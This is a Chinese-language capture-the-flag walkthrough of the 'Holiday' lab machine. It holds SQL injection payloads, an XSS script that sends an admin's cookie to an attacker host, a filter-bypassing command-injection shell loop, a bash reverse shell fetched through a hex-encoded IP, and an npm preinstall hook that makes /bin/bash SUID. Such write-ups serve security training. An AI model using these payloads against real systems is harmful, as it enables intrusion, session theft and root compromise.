[Meachines] [Hard] Holiday SQLI+XSS-Bypass+RCE-HEX-Shell+TRP00F+npm特權升級
字数 1026 2025-08-29 22:41:38
Holiday靶机渗透测试教学文档
1. 信息收集
1.1 主机发现与端口扫描
ip='10.10.10.25'; itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
nmap -Pn -sV -sC -p "$ports" "$ip";
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m";
fi;
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi
扫描结果:
- 22/tcp: OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
- 8000/tcp: Node.js Express框架
1.2 Web目录扫描
dirsearch -u 'http://10.10.10.25:8000/'
发现重要端点:
- /login
- /agent
- /vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65
- /admin
2. SQL注入攻击
2.1 登录表单测试
POST请求:
POST /login HTTP/1.1
Host: 10.10.10.25:8000
Content-Length: 24
Content-Type: application/x-www-form-urlencoded
username=1x&password=1
2.2 手工SQL注入探测
- 测试基本注入:
username=x"--+&password=1 # 返回"Error Occurred"
username=x"))--+&password=1 # 返回"Invalid User"
- 确认注入类型:
username=x")) OR 1=1 --+&password=1 # 返回"Incorrect Password"
username=1")) ORDER BY 4 --+&password=1 # 确认字段数为4
- 识别数据库类型:
username=1")) UNION SELECT 88,99,66,67 --+&password=1 # 确认回显位置
username=1")) UNION SELECT 88,sqlite_version(),66,67 --+&password=1 # 确认SQLite 3.15.0
- 提取表名:
username=1")) UNION SELECT 88,group_concat(name, ','),66,67 FROM sqlite_master WHERE type='table' --+&password=1
发现表:users, sqlite_sequence, notes, bookings, sessions
2.3 使用sqlmap自动化提取
sqlmap -r /tmp/sql -T users,notes,sessions --dump --threads 10
获取凭证:
- 用户名:RickA
- 密码哈希:fdc8cd4cff2c19e0d1022e78481ddf36
- 明文密码:nevergonnagiveyouup
3. XSS绕过与利用
3.1 发现XSS漏洞点
在http://10.10.10.25:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65页面存在管理员审核功能
3.2 基本XSS测试
3.3 高级XSS绕过技术
- 创建恶意JS文件(1.js):
window.addEventListener('DOMContentLoaded', function(e) {
window.location = "http://10.10.16.13:10000/?cookie=" + encodeURI(document.getElementsByName("cookie")[0].value)
})
- 编码XSS载荷:
url="http://10.10.16.13:10000/1.js"
js="document.write('<script src=\"$url\"></script>');"
echo -n "$js" | od -An -t u1 | tr -d '\n' | sed 's| \+|,|g; s|^,||; s|^|<script>eval(String.fromCharCode(|; s|$|))</script>"/>|'
- 获取管理员会话cookie:
connect.sid=s%3a98a88d30-27f1-11f0-ade9-71050c9a43af.4gmaIMgfX/Hym%2bqFylhAqwyx1QklsHSDYZlccAj0iF0
4. 远程代码执行(RCE)
4.1 发现RCE漏洞点
在http://10.10.10.25:8000/admin/export?table=../存在命令注入
4.2 绕过过滤机制
过滤规则:[a-z0-9&\s\/]
使用URL编码绕过:
#!/bin/bash
urlencode() {
python3 -c "import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1]))" "$1"
}
while true; do
echo -n "SHELL$ "
read cmd
if [[ "$cmd" == "exit" ]]; then
break
fi
encoded_cmd=$(urlencode "$cmd")
url="http://10.10.10.25:8000/admin/export?table=x%26${encoded_cmd}"
curl "$url" \
--cookie "connect.sid=s%3a98a88d30-27f1-11f0-ade9-71050c9a43af.4gmaIMgfX/Hym%2bqFylhAqwyx1QklsHSDYZlccAj0iF0" \
-H 'Cache-Control: max-age=0' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Accept-Language: en-US,en;q=0.9' \
--http1.1
done
4.3 获取反向Shell
- 创建反向Shell脚本:
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.13/443 0>&1
- 使用十六进制IP绕过过滤:
printf '0x%02X%02X%02X%02X\n' $(echo 10.10.16.13 | tr '.' ' ')
# 输出: 0x0a0a100d
- 执行命令:
SHELL$ wget 0x0a0a100d/shell
SHELL$ bash shell
获取user.txt:
79081c45597fb44319152df89b15934e
5. 权限提升
5.1 检查sudo权限
algernon@holiday:~$ sudo -l
发现可以利用npm进行特权升级
5.2 利用npm特权升级
- 创建恶意package.json:
{
"name": "get",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"preinstall": "chmod u+s /bin/bash"
},
"author": "",
"license": "ISC"
}
- 执行特权升级:
algernon@holiday:~$ sudo npm i ./get/ --unsafe
- 获取root权限:
bash -p
获取root.txt:
0bfed7171c81458d5d24175642c8c0b2
6. 总结
本靶机渗透测试涉及以下关键技术:
- SQL注入(SQLite数据库)
- XSS绕过与利用
- 命令注入与过滤绕过
- 十六进制IP地址编码
- npm特权升级漏洞
关键点:
- 使用SQL注入获取管理员凭证
- 通过XSS窃取管理员会话
- 利用命令注入获取反向Shell
- 通过npm的sudo权限实现特权升级